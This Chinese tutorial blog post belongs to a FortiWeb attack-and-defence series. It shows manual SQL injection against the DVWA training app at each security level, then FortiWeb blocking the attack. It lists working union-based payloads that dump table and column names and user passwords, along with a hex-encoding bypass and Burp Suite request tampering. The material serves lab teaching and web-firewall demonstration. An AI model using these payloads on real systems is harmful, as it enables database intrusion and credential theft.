【Web篇】(6.3) ❀ 07. SQL 注入 ❀ FortiWeb 攻防演练

  【简介】从本篇开始,我们分析各种Web攻击的原理,展示在DVWA上产生的效果,最后是FortiWeb对这些攻击的阻断。首先我们来了解SQL注入攻击。


   SQL 注入

  SQL注入是比较常见的网络攻击方式之一,它不是利用操作系统的BUG来实现攻击,而是针对程序员编写时的疏忽,通过SQL语句,实现无账号登录,甚至篡改数据库。

  手工注入常规定思路:

  1、判断是否存在注入,注入是字符型还是数字型;

  2、猜解SQL查询语句中的字段数;

  3、确定回显位置;

  4、获取当前数据库;

  5、获取数据库中的表;

  6、获取表中的字段名;

  7、得取数据。

  但凡有SQL注入漏洞的程序,都是因为程序要接受来自客户端用户输入的变量或URL传递的参数,并且这个变量或参数是组成SQL语句的一部分,对于用户输入的内容或传递的参数,我们应该要时刻保持警惕,这是安全领域里的「外部数据不可信任」的原则,纵观Web安全领域的各种攻击方式,大多数都是因为开发者违反了这个原则而导致的,所以自然能想到的,就是从变量的检测、过滤、验证下手,确保变量是开发者所预想的。

  安全等级 - Low

  DVWA一共有四个安全等级。

   ① 首先连接单独的DVWA,我们先显示单独DVWA上攻击的效果,然后再对比连接FortiWeb后的DVWA,查看FortiWeb对攻击的拦截效果。DVWA的安全等级设置为Low。

    ② 选择SQL Injection,点击【View Source】,查看数据库源代码。

    ③ 分析源码,可以看到没有对参数做任何的过滤,直接带入数据库进行查询,分析sql查询语句,可能存在字符型sql注入。

    ④ 输入 1' and '1'='1 ,判断SQL是否存在注入,以及注入的类型。

    ⑤ 分别输入 1' order by 2# 1' order by 3# ,猜解SQL查询语句中的字段数,从上面两个图可以说明,SQL语句查询的表的字段数是2。

    ⑥ 输入 1' union select 1,2#  ,确定SQL语句查询之后的回显位置,上面图中可以看出有2个回显。

    ⑦ 输入 1' union select version(),database()#  ,查询当前的数据库以及版本。

    ⑧ 输入 1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#  ,获取数据库中的表。

    ⑨ 输入 1' union select 1, group_concat(column_name) from information_schema.columns where table_name='users'# ,获取表中的字段名。

    ⑩ 输入 1' union select user,password from users# ,获得字段中的数据。

  安全等级 - Medium

  将安全等级升级为中级。

   ① 升为中级后加入了一些防御,只提供选择,不允许输入。不过仍然可以用burpsuit抓包来绕过去。

    ② 分析源码可以看到对参数使用mysql_real_escape_string函数转义sql语句中的一些特殊字符,查看sql查询语句可以看出可能存在数字型sql注入。

    ③ User ID选择1,点击【Submit】,burpsuit抓到包。为了方便展示,这里将结果框和抓包窗口显示在一起。

    ④ 修改为 id=1 and 1=1 ,点击【Forward】,SQL Injection显示存在注入,注入类型为数字型。

    ⑤ 修改为 id=1 order by 2# id=1 order by 3# ,猜解sql查询语句中的字段的个数,上图说明字段的个数为2。

    ⑥ 修改为 id=1 union select 1,2# ,确定回显的位置,上图可以说明有2个回显位置。

    ⑦ 修改为 id=1 union select database(),version()# ,获取当前数据库的名称以及版本。

    ⑧ 修改为 id=1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()# ,获取数据库中的所有表。

    ⑨ 修改为 id=1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 # ,获取表中的所有字段名。考虑到单引号被转义,可以利用 16 进制进行绕过。

    ⑩ 修改为 id=1 union select user,password from users# ,获取字段中的数据。

  安全等级 - High

  将安全等级升级为高级。

   ① 升为高级后可以看出,点击”here to change your ID”,页面自动跳转,防御了自动化的SQL注入。

    ② 分析源码可以看到,对参数没有做防御,在sql查询语句中限制了查询条数,可以通过burpsuit抓包,修改数据包实现绕过。

  安全等级 - Impossible

  将安全等级升级为不可能。

   ① 升为不可能后,杜绝了的SQL注入。

    ② 分析源码可以看到有使用PDO技术,以杜绝SQL注入。

  FortiWeb 防护

  前面一系列的操作说明,要避免SQL注入,需要开发人员注意很多很多。。。。那里,有没有轻松一点的办法呢?

   ① 这次我们访问192.168.1.128,也就是经过FortiWeb保护的DVWA,安全选择Low,输入一段注入代码,看看会发生什么。

    ② 访问被FortiWeb成功的阻止了。

     ③ 登录FortiWeb,选择菜单【日志和报表】-【攻击】,点击【添加过滤器】。

    ④ 选择【消息ID】。

    ⑤  选择阻止页面上显示的消息ID。

    ⑥ 显示SQL注入被FortiWeb阻止了。如果有了FortiWeb,这样大部分因为SQL代码产生的漏洞安全问题,就可以有效的解决方法了。


  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

飞塔老梅子

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值